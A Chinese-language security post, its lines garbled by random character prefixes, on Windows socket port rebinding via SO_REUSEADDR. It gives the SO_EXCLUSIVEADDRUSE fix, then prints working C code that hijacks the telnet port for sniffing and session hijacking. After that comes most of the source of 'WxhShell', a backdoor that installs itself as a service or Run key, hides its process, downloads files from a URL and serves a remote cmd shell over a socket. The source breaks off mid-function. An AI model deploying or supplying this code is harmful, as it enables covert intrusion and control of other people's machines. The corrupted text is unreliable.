在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bs?4|#[K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_,- \; dQ<e}wtg saddr.sin_family = AF_INET;
x}reeqn Ja@?.gW saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H@k$sZ. -OfAl~ 4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
UB%;P-RD \OK}DhY# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xlW>3'uHfa Me;Nn$'% 这意味着什么?意味着可以进行如下的攻击:
H"2,Q
T 52.hJNq#L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
VrFI5_M/ )9!ZkZbv_m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
a$6pA@7} Io_7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z \- (Pt*|@i2c 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_&xkj8O D,uT#P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
y|wR)\ ACgWT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
rO1.8KKJ jqoU;u` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
U(:t$SBKy #-d-zV* #include
} x'o`GuUf #include
+!wkTrV #include
%,) Xi #include
y"nCT3 DWORD WINAPI ClientThread(LPVOID lpParam);
Mz6|#P}.s int main()
Z?w=- {
UX'tdB
!A WORD wVersionRequested;
@gJPMgF$F DWORD ret;
aII:Pzh]B WSADATA wsaData;
@;d7#!:cE BOOL val;
NMP*q
@ SOCKADDR_IN saddr;
/bqJ6$ SOCKADDR_IN scaddr;
@(rLn int err;
rX&?Xi1JeV SOCKET s;
`P9%[8`C 9 SOCKET sc;
sY'dN_F int caddsize;
;WL0 HANDLE mt;
6IM:Xj DWORD tid;
P99s wVersionRequested = MAKEWORD( 2, 2 );
m3_)UIJZ err = WSAStartup( wVersionRequested, &wsaData );
#DHeEE if ( err != 0 ) {
niM(0p printf("error!WSAStartup failed!\n");
t]pJt return -1;
&44?k: }
]^l-k@ saddr.sin_family = AF_INET;
Xc]Q_70O Qp>Q-+e0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
H0mDs7 _n<
@Jk~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VnMiZAHR saddr.sin_port = htons(23);
E}=F
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~3m}
EL {
Ga^k1TQq printf("error!socket failed!\n");
<4Cy U
j return -1;
knZ<V%/e }
1uhSP!b val = TRUE;
i'vjvc~ //SO_REUSEADDR选项就是可以实现端口重绑定的
oI%.oP}G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\R<OT%8 {
8f|+045E@ printf("error!setsockopt failed!\n");
.DHRPel return -1;
SkA"MhX }
'~'3x4Bo //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@BXV>U2B{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%|3UWN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ehf{Kl b~FmX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
aD3Q-a[ {
KHXnB ret=GetLastError();
pG:)u
cj printf("error!bind failed!\n");
u@zBE?
g return -1;
r7p>`>_Q\ }
M3
$MgsN: listen(s,2);
LHP?!rO0 while(1)
$rE_rZ+]=" {
1YMu\( caddsize = sizeof(scaddr);
x;*KRO //接受连接请求
bwh.ekf8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qT L@N9 if(sc!=INVALID_SOCKET)
GQ9g $&T {
D<cHa | mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V]9?9-r if(mt==NULL)
3bPvL/\Lb {
'H,l\i@" printf("Thread Creat Failed!\n");
K<+h/Ok break;
nS1D&;#Y }
`_v|O{DC{ }
1%6}m`3 CloseHandle(mt);
VN8ao0^d;d }
mWM!6" closesocket(s);
ZK]C!8\2| WSACleanup();
z<mU$< return 0;
[(N<E/m %B }
%fz!'C_4 DWORD WINAPI ClientThread(LPVOID lpParam)
Ie?C<(8Ul {
Z`b{r;`m8 SOCKET ss = (SOCKET)lpParam;
^T|~L<A3 SOCKET sc;
<tg>1,C unsigned char buf[4096];
%/&?t`%H SOCKADDR_IN saddr;
f/qG:yTV` long num;
w#,C{6 DWORD val;
b=+'i DWORD ret;
?o9g5Z //如果是隐藏端口应用的话,可以在此处加一些判断
/P0%4aWu= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cv["Ps#;`W saddr.sin_family = AF_INET;
aNCIh@m~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
wy$9QN saddr.sin_port = htons(23);
# -Ts]4v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UpS`KgF"v {
!}^{W)h[ printf("error!socket failed!\n");
ZWSYh>" return -1;
OE/O:F:1j }
P-QZ=dm val = 100;
]W%<<S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v}ZQC8wL {
eg-,;X# ret = GetLastError();
eJ#q! < return -1;
``}EbOMG }
fNx3\<~V= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dg4 QA_" {
g%Ap <iT ret = GetLastError();
_S#uxgL< return -1;
}4kd=]Nk }
T0Q)}%L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?j8F5(HF? {
B@l/'$G printf("error!socket connect failed!\n");
2, ` =i closesocket(sc);
0>m-J closesocket(ss);
Nq)=E[$ return -1;
n||/3-HDj }
FHI`/ while(1)
RI"A'/56 {
-lm\~VZT3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Jn.WbS //如果是嗅探内容的话,可以再此处进行内容分析和记录
g~Zel}h# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,\f!e#d num = recv(ss,buf,4096,0);
Qe=!'u.nL if(num>0)
`|;R}"R; send(sc,buf,num,0);
[=-?n6 else if(num==0)
~fE@]~f> break;
_d&FB~= num = recv(sc,buf,4096,0);
wg*2mo if(num>0)
},'2j send(ss,buf,num,0);
: \w\K: else if(num==0)
@
Sw[+` break;
]dc^@}1bN }
A\_cGM2 closesocket(ss);
2hl'mRW closesocket(sc);
XU .FLNe return 0 ;
WLEjRx }
RJ1Q.o -1~bWRYq Qj?FUxw ==========================================================
$z]gy]F g#;w)- Zj 下边附上一个代码,,WXhSHELL
l-"$a8jn2 mV}
peb ==========================================================
Q9Wa@gi| 1j<=TWit #include "stdafx.h"
VAF+\Cea= t7("geN] #include <stdio.h>
}N1Z7G #include <string.h>
jx&pRjP
#include <windows.h>
]C-hl}iq #include <winsock2.h>
]%3o"| #include <winsvc.h>
g6k@E,cI_ #include <urlmon.h>
` ej 2;NIUMAMM #pragma comment (lib, "Ws2_32.lib")
Q uy5H #pragma comment (lib, "urlmon.lib")
Kgi%Nd `(?E-~#' #define MAX_USER 100 // 最大客户端连接数
qIa|sV\w0 #define BUF_SOCK 200 // sock buffer
H~1*`m #define KEY_BUFF 255 // 输入 buffer
-#H>kbs Bhl@\Kq #define REBOOT 0 // 重启
Ft>Abj,6 #define SHUTDOWN 1 // 关机
$6T*\(;T@A ,YJ\
$? #define DEF_PORT 5000 // 监听端口
Q_xE:#!; EUU9JnQhBJ #define REG_LEN 16 // 注册表键长度
C+$dm)M/q #define SVC_LEN 80 // NT服务名长度
PBb@J'b >n)N=Zyu // 从dll定义API
V4}9f5FR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
HjV3PFg
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-4o6 OkK< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L{;q ^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
qCn(~: I3D8xl>P\ // wxhshell配置信息
Sb+pB58&N struct WSCFG {
l)fF)\ |;= int ws_port; // 监听端口
Qi#%&Jz>f char ws_passstr[REG_LEN]; // 口令
Z16G int ws_autoins; // 安装标记, 1=yes 0=no
WaQCq0Enj char ws_regname[REG_LEN]; // 注册表键名
s!``OyI/Z char ws_svcname[REG_LEN]; // 服务名
b&B<'Wb char ws_svcdisp[SVC_LEN]; // 服务显示名
#[C|%uq char ws_svcdesc[SVC_LEN]; // 服务描述信息
8l0%:6XbI char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gd-4hR int ws_downexe; // 下载执行标记, 1=yes 0=no
2GA6@-u\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~S15tZ $ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.HF+JHIUu %p)6m2Sb };
|j$&W;yC IY?[ 0S // default Wxhshell configuration
3Ln~"HwP struct WSCFG wscfg={DEF_PORT,
V=
U= "xuhuanlingzhe",
a;D{P`%n 1,
~sshhuF "Wxhshell",
Glcl7f"<^ "Wxhshell",
&xMR{: "WxhShell Service",
={-\)j "Wrsky Windows CmdShell Service",
R3<>]/1p|P "Please Input Your Password: ",
c 's=>-X 1,
7-.YVM~R "
http://www.wrsky.com/wxhshell.exe",
?N<* ATCL "Wxhshell.exe"
6]rIYc[, };
k5]s~*,0 e'mm4 2 // 消息定义模块
#.UooFk+Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(EGsw o char *msg_ws_prompt="\n\r? for help\n\r#>";
mnu4XE#| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
So\(]S char *msg_ws_ext="\n\rExit.";
Q5b?-
P char *msg_ws_end="\n\rQuit.";
N&U=5c`Q' char *msg_ws_boot="\n\rReboot...";
i)g=Lew char *msg_ws_poff="\n\rShutdown...";
2@@OjeANsX char *msg_ws_down="\n\rSave to ";
LX'.up11X5 \B8tGog char *msg_ws_err="\n\rErr!";
z;@;jQ7 char *msg_ws_ok="\n\rOK!";
pI|Lt uuHR! char ExeFile[MAX_PATH];
3:7J@> int nUser = 0;
-z./6dQ HANDLE handles[MAX_USER];
o {Sc int OsIsNt;
j{SRE1tqh {$)zC*l SERVICE_STATUS serviceStatus;
r5> FU>7' SERVICE_STATUS_HANDLE hServiceStatusHandle;
_?kjIF p<*3mbgGO // 函数声明
-gefdx6ES int Install(void);
k`U")lv int Uninstall(void);
xGCW-YR9 int DownloadFile(char *sURL, SOCKET wsh);
!*ct3{m int Boot(int flag);
pw"
!iG} void HideProc(void);
M.))UKSF int GetOsVer(void);
$As;Tvw. int Wxhshell(SOCKET wsl);
@|v4B[/ void TalkWithClient(void *cs);
<61T)7 int CmdShell(SOCKET sock);
xV[X#.3 int StartFromService(void);
OF&{mJH"g' int StartWxhshell(LPSTR lpCmdLine);
RiqYC3Ka M?Tb9c?` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
T_|%nF-+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
'8K5=|!J "i_I<?aGB // 数据结构和表定义
~+}w>jIm{| SERVICE_TABLE_ENTRY DispatchTable[] =
t=o0
#jo {
lxx)l(& {wscfg.ws_svcname, NTServiceMain},
qk;*$Q {NULL, NULL}
<|[G=GA\S! };
5drc8_fZ @H2c77% // 自我安装
q`_d>l int Install(void)
CRf !tsj@ {
F]DRT6) char svExeFile[MAX_PATH];
W~(@*H HKEY key;
"{1`~pDj? strcpy(svExeFile,ExeFile);
8TGO6oY+= VTQ V]>| // 如果是win9x系统,修改注册表设为自启动
UjxEbk5>^ if(!OsIsNt) {
. > [d:0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8+K=3=05#U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v7&oHOk! RegCloseKey(key);
["Mq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xDU>y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lx$]f)%~ RegCloseKey(key);
ivDmPHj{ return 0;
6x|"1
G{ }
'RK.w^ }
~sj'GEhEg }
CZ"~N` else {
?,uTH
4 _L
5< // 如果是NT以上系统,安装为系统服务
a,g3/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
s\i:;`l:=5 if (schSCManager!=0)
|&OW_*l {
r8>(ayJ, SC_HANDLE schService = CreateService
Xmr|k:z (
uvR9BL2= schSCManager,
zmd,uhNc: wscfg.ws_svcname,
A/V"&H[ wscfg.ws_svcdisp,
/{@^h#4M1 SERVICE_ALL_ACCESS,
</!
`m8 \ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^f*}]`S SERVICE_AUTO_START,
1{D_30sG. SERVICE_ERROR_NORMAL,
M &`ZF svExeFile,
:j_OO5b! NULL,
,p2BB"^_i NULL,
#yz5CWu NULL,
W <.h@Rz+ NULL,
bW03m_<M<1 NULL
,{DZvif
);
f}{ lRk if (schService!=0)
*FhD%>< {
0kC}qru' CloseServiceHandle(schService);
`q
= e<$ CloseServiceHandle(schSCManager);
{6H%4n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
GP=i6I6C strcat(svExeFile,wscfg.ws_svcname);
|m{Q_zAB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8 Z|c!QIU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4#hDt^N~ RegCloseKey(key);
_
nFsC return 0;
YDh6XD<Z }
}xhat,9 }
Zx$q,Zo< CloseServiceHandle(schSCManager);
Gt;@.jY& }
oVi_X98R }
a (Q4*XH4 =2+';Xk\ return 1;
81?7u!=ic+ }
1$S;#9PQ WOqAVd\ // 自我卸载
~{69&T}9 int Uninstall(void)
Arvxl(R\4 {
5WhR| HKEY key;
"p]F q, +!_?f'kv` if(!OsIsNt) {
_D{zB1d\0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r=57,P(:Ca RegDeleteValue(key,wscfg.ws_regname);
jvfVB'Tmr RegCloseKey(key);
u=j|']hp#& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2hB';Dv RegDeleteValue(key,wscfg.ws_regname);
Mou@G3 RegCloseKey(key);
+Smt8O<N return 0;
Q2^~^'Yk }
YA(_*h
}
e|Ip7` }
"F_o%!l else {
6@0
wKV!D dFdll3bC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
}mGOEG|F2 if (schSCManager!=0)
X`xI~&t_ {
MYVUOd, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
r]! <iw if (schService!=0)
7\ .Ax {
PT2b^PP if(DeleteService(schService)!=0) {
>Hh8K<@NL CloseServiceHandle(schService);
E>_?9~8Mf CloseServiceHandle(schSCManager);
}qf9ra return 0;
*7`N^e }
O_}ZSB8" CloseServiceHandle(schService);
e[`E-br^ }
&uLxAw CloseServiceHandle(schSCManager);
!AR$JUnX }
6Mpbmfr }
r 5$( *~p~IX{ return 1;
m>po+7"b }
9ICC2%j| #3uBq(-Z // 从指定url下载文件
>z=_V|^$ int DownloadFile(char *sURL, SOCKET wsh)
o;#{N~4[$ {
W@S'mxk#* HRESULT hr;
@ mzf(Aq
char seps[]= "/";
.3;bUJ1 char *token;
HSt|Ua.c/h char *file;
kBPFk t2 char myURL[MAX_PATH];
m7:E73: char myFILE[MAX_PATH];
'WqSHb7 %}z/_QZ strcpy(myURL,sURL);
xP@VK!sc token=strtok(myURL,seps);
!;Mh5*- while(token!=NULL)
m wuFXu/ {
)9,*s!)9 file=token;
2>{_O?UN token=strtok(NULL,seps);
\L#BAB6z }
uj.~/W1,! Lh=~3 GetCurrentDirectory(MAX_PATH,myFILE);
WY@x2bBi strcat(myFILE, "\\");
5io7!% strcat(myFILE, file);
JCIm*6~ send(wsh,myFILE,strlen(myFILE),0);
<`dF~ send(wsh,"...",3,0);
qZ!1>`B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\!UNale if(hr==S_OK)
S"|sD|xOb return 0;
&77]h%B> else
ivdw1g|)h return 1;
y$)gj4k/D Q9K+k*?{N }
Isq3YY 9Ao0$|@b // 系统电源模块
{GF>HHQb int Boot(int flag)
^qpa[6D6x {
vOYcS$,^X% HANDLE hToken;
.js4)$W^ TOKEN_PRIVILEGES tkp;
'-#6;_ i< +n(H"I7cU if(OsIsNt) {
,2>:h"^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
b("JgE` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
YYI tkp.PrivilegeCount = 1;
-X@;"0v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
oeXNb4; 4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>J=x";,D|~ if(flag==REBOOT) {
(PYUfiOf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LvpHR#K)F5 return 0;
T0_9:I`& }
wAHb5>! else {
MCma3^/1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
H+zn:j@~L return 0;
\Rn.ug }
AK<ZP?0 }
x7e else {
V,qZF=} S if(flag==REBOOT) {
^v3+w"2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y51XpcXQ return 0;
PiB)pUYj }
}\u~He% else {
Ja-D}|; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
DT&[W<oN return 0;
|D^Q}uT }
,IUMH]D }
U]sU
b3 (2@b ,w^ return 1;
-b@E@uAX/ }
SX}GKu AW'tZF" // win9x进程隐藏模块
=nnS X-x void HideProc(void)
yh_s(>sh {
PqcuSb6 Tu_dkif' HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
OxF\Hm)( if ( hKernel != NULL )
ZNB*Azi {
3Gn2@`GC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9BANCW" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
HkvCQ H FreeLibrary(hKernel);
c7\bA7. }
!U`T;\,v5 p)ZlQ.d#Y return;
mUy/lo'4 }
Ao96[2U6 f.jAJ; N> // 获取操作系统版本
6o;lTOes int GetOsVer(void)
]CC=
\ < {
}VR&*UJE OSVERSIONINFO winfo;
M
_U$I7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
BHj]w*Ov GetVersionEx(&winfo);
QBto$!}) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`M>{43dj return 1;
](_(1 else
,h/0:?R
KW return 0;
cb%w,yXw }
q){]fp.,@ B_cn[?M // 客户端句柄模块
W&06~dI1! int Wxhshell(SOCKET wsl)
_;01/V"q6 {
y8+?:=N. SOCKET wsh;
lRt8{GFy struct sockaddr_in client;
4)j<(5 DWORD myID;
]^
O<WD ZuS+p0H" while(nUser<MAX_USER)
2L<TqC{,- {
]VJcV.7` int nSize=sizeof(client);
4d] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;JL@V}L, if(wsh==INVALID_SOCKET) return 1;
aDZLabRu A#1y>k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=r0!-[XCa if(handles[nUser]==0)
[RpFC4W closesocket(wsh);
[JAd1%$3 else
D'nV
&m nUser++;
N=I5MQG }
b!.# `. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Jy|Mfl%d +}+hTY$a return 0;
C)C;U&Qd }
}Xc|Z.6 e9B, // 关闭 socket
RTl7vzG void CloseIt(SOCKET wsh)
r kD4}jV {
8%xtb6#7M closesocket(wsh);
},Z-w_H nUser--;
SbI,9< ExitThread(0);
4|+
|L_ }
;,4J:zvZdQ |u}sX5/q // 客户端请求句柄
Cn`%
*w void TalkWithClient(void *cs)
uk'<9g^ {
Cza)s 9hguC yr@h SOCKET wsh=(SOCKET)cs;
~r>UjC_
B: char pwd[SVC_LEN];
Mvcl9 char cmd[KEY_BUFF];
F 1zc4l6 char chr[1];
2Q k\}KWs int i,j;
(/KF;J^M &0C!P=-p while (nUser < MAX_USER) {
i{e<kKh `UJW:qqW if(wscfg.ws_passstr) {
{(MG:
B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1b!l+ 8! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Rw\DJJrz //ZeroMemory(pwd,KEY_BUFF);
ud#8`/!mq i=0;
&1u?W%(Px while(i<SVC_LEN) {
:<(<tz7dj *xjIl<`pK // 设置超时
~Igo
8ykl fd_set FdRead;
RI*%\~6t? struct timeval TimeOut;
L"-&B$B: FD_ZERO(&FdRead);
C4cg,>P7 FD_SET(wsh,&FdRead);
PQ(%5c1e TimeOut.tv_sec=8;
*|3z($*U] TimeOut.tv_usec=0;
v4.V%tg! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Q?;ntzi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}N|/b"j9 e.kt]l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
uA,{C%? pwd
=chr[0]; 6FmgK"t8
if(chr[0]==0xd || chr[0]==0xa) { 2bC%P})m
pwd=0; PJ.jgN(r
break; Z)&HqqT3p
} }wb;ulN)
i++; ropiyT9;
} (1HN, iJy
0zxeA+U
// 如果是非法用户,关闭 socket MtB:H*pM
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Dgp
!*v=
} b>(lF%M
Dm^kuTIG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f:0n-me
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;5l|-&{@*
[eN{Ft0x
while(1) { ,5?MRqCM
W!^=)Qs
ZeroMemory(cmd,KEY_BUFF); #e=^[E-yE
!58JK f
// 自动支持客户端 telnet标准 ~S6N'$^
j=0; CYu8J@(\~g
while(j<KEY_BUFF) { %G
SSy_c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =+L>^w#6=
cmd[j]=chr[0]; R{B~No w3
if(chr[0]==0xa || chr[0]==0xd) { U,S286
cmd[j]=0;
p[GyQ2k)
break; ?C{N0?[P-
} ZM.g+-9
j++; f$'D2o, O
} }>:X|4]
lq5E?B
// 下载文件 "8]170
if(strstr(cmd,"http://")) { c 1GP3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f5-={lUlIS
if(DownloadFile(cmd,wsh)) X9j+$X\j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =R"tnjR
else N-|Jj?c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bW|y -GM
} O5?Eb
else { yB1>83!q
1hWz%c|
switch(cmd[0]) { 4{g|$@s(
qh 3f
// 帮助 xL"%2nf
case '?': { F)w83[5_d
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :[39g;V}c
break; c53`E U
} "U.=A7r
// 安装 AF}"
case 'i': { _@;N<$&
if(Install()) YLo$n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<b0z\
else Y5CE#&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '1
$ ({{R
break; ]l'ki8
} {@%(0d{n}
// 卸载 -`UlntEdZ:
case 'r': { s`YuH <8
if(Uninstall()) F! e`i-xt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TbVL71c
else ^'4uTbxP_!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m~eWQ_a]C@
break; bl<7[J.
} z;fSd
// 显示 wxhshell 所在路径 .
6dT5x8u
case 'p': { lz 6 Aj
char svExeFile[MAX_PATH]; ^aCYh[=
strcpy(svExeFile,"\n\r"); WRyLpTr-
strcat(svExeFile,ExeFile); J.l%HU
send(wsh,svExeFile,strlen(svExeFile),0); $H} Mn"G
break; y~jIAp
} X%CPz.G
// 重启 L#Y;a
5b
case 'b': { | hM)e*"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ={'($t%|T
if(Boot(REBOOT)) ?<QFW#:)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BaAb4{
else { :nUsC+oBS
closesocket(wsh); bicL%I2h
ExitThread(0); F w m:c[G
} I "2FTGA
break; |plo65
} *Mc\7D
// 关机 :t^})%
case 'd': { nj`qV
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F4%[R)
if(Boot(SHUTDOWN)) s=
fKAxH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @#c6\$
else { m!g8@YI
closesocket(wsh); J|24I4
ExitThread(0); iXRt9)MT{
} -RQQ|:O$
break; P;LZ!I
} ;i:wY&
// 获取shell Zr;=p"cXr
case 's': { Y{|yB
CmdShell(wsh); oJT@'{;*z
closesocket(wsh); B[
ka@z7
ExitThread(0); s.)w
A`&&
break; T+h{Aeg
} %iC63)(M
// 退出 y03a\K5[KQ
case 'x': { OZm[iH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D.R
CloseIt(wsh); \#,#_
break; "Cj#bUw
} i6 ?JX@I
// 离开 guXpHF=
case 'q': { jgw'MpQm{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]?$y}
closesocket(wsh); N-YZ0/c
WSACleanup(); 2{I z
exit(1); Sr 4 7u{n
break;
89=JC[c
} '|N4fbZd
} IFofFXv_
} G3^]Wwu
NOp=/
// 提示信息 &(^u19TKl
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X]"OW
} RmV/wY
} ,ri--<
-L?%
o_
return; aB6LAb2z;T
} 91d`LsP
V9+"CB^
// shell模块句柄 Sc3M#qm_
int CmdShell(SOCKET sock) E(+wl
{ -0WCwv
STARTUPINFO si; "sX?wTag
ZeroMemory(&si,sizeof(si)); SJ7=<y}[d
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <?Izfl6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~<[5uZIo
PROCESS_INFORMATION ProcessInfo; KqUSTR1e[
char cmdline[]="cmd"; |P0L,R
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~LW%lMy;^|
return 0; NZW)X[nXM
} :42;c:8 5
4qXRDsbCf
// 自身启动模式 '=G
Ce%A
int StartFromService(void) cYy@
{ lT!$\E$1
typedef struct x&oBO{LNK,
{ ^_h7!=W
DWORD ExitStatus; wK`ieHmp
DWORD PebBaseAddress; `Mp7})
DWORD AffinityMask; M#=5u`h
DWORD BasePriority; ~2DV{dyj
